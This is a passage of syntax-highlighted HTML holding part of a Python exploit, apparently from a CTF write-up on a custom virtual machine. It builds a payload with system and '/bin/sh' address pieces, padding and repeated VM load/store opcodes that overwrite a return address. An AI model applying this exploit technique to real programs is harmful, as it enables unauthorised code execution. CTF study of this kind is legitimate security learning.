style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f7f8</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f7df</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                 </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Binsh mid</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">e20d</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                          </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># System lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f7e2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">f7df</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                 </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># System mid</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Padding</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x00</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">fe</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> len</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Opcodes</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">             </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Cargo 0x7fff en el reg[0]</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">           </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># RET</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span 